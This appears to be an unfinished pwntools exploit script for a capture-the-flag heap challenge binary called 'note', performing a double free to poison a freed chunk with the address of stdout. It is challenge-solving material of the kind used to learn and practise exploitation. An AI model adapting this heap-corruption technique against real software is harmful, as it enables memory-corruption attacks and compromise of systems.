from pwn import *

p = process('./note', env = {'LD_PRELOAD' : './libc.so.6'})
e = ELF('./note')
libc = ELF('./libc.so.6')

def create(idx, size, payload):
    p.sendlineafter('> ', str(1))
    p.sendlineafter(': ', str(idx))
    p.sendlineafter(': ', str(size))
    p.sendlineafter(': ', payload)
def read(idx):
    p.sendlineafter('> ', str(2))
    p.sendlineafter(': ', str(idx))
    p.recvuntil(': ')
    return int.from_bytes(p.recvline()[:-1], byteorder='little')
def delete(idx):
    p.sendlineafter('> ', str(4))
    p.sendlineafter(': ', str(idx))

for a in range(8):
    create(a, 20, b'a')
for b in range(8):
    delete(b)
for c in range(3):
    create(c, 20, b'a')
stdout = e.symbols['stdout']
delete(0)
delete(1)
delete(0)
create(c, 20, p64(stdout))
pause()
p.interactive()